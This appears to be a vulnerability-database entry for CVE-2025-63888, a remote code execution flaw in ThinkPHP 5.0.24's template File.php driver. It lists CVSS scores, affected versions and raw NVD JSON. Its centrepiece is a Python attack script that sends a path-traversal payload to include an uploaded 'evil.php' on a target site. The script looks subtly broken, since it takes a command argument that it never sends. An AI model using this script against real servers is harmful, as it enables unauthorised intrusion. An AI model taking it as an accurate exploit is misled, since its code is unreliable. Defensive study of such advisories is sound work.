Security Vulnerability Report
中文
CVE-2025-63888 CVSS 9.8 CRITICAL

CVE-2025-63888

Published: 2025-11-20 18:15:51
Last Modified: 2025-11-25 15:40:00

Description

The read function in file thinkphp\library\think\template\driver\File.php in ThinkPHP 5.0.24 contains a remote code execution vulnerability.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:thinkphp:thinkphp:5.0.24:*:*:*:*:*:*:* - VULNERABLE
ThinkPHP 5.0.24 及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-63888 PoC for ThinkPHP 5.0.24 Template RCE # Target: ThinkPHP application with vulnerable template driver def exploit(target_url, command): """ Exploit ThinkPHP template driver File.php read function for remote code execution via path traversal """ # Vulnerable endpoint - template rendering with user-controlled path endpoint = f"{target_url}/index.php?s=index/\think\template\driver\File/read" # Construct malicious payload with path traversal # Target: Include a file containing PHP code to execute payload = { 'file': f'../../../../../../../../../var/www/html/public/uploads/evil.php' } try: response = requests.post(endpoint, data=payload, timeout=10) print(f"[*] Request sent to: {endpoint}") print(f"[*] Status code: {response.status_code}") print(f"[*] Response length: {len(response.text)}") if response.status_code == 200: print("[+] Potential vulnerability confirmed!") print(f"[*] Response preview: {response.text[:500]}") else: print("[-] Request failed or target may not be vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-63888.py <target_url> [command]") print("Example: python cve-2025-63888.py http://target.com id") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "whoami" exploit(target, cmd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63888", "sourceIdentifier": "[email protected]", "published": "2025-11-20T18:15:50.977", "lastModified": "2025-11-25T15:40:00.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The read function in file thinkphp\\library\\think\\template\\driver\\File.php in ThinkPHP 5.0.24 contains a remote code execution vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thinkphp:thinkphp:5.0.24:*:*:*:*:*:*:*", "matchCriteriaId": "A396FB8E-3328-435E-998E-70426F1F5FFA"}]}]}], "references": [{"url": "https://gist.github.com/Master-0-0/0bf54cbb335b586b42b0db0db804e7aa", "source": "[email protected]", "tags": ["Mitigation", "Third Party Advisory"]}, {"url": "https://www.yuque.com/lcc316/df0kgm/mglhbxltgbmzfh2s", "source": "[email protected]", "tags": ["Permissions Required"]}]}}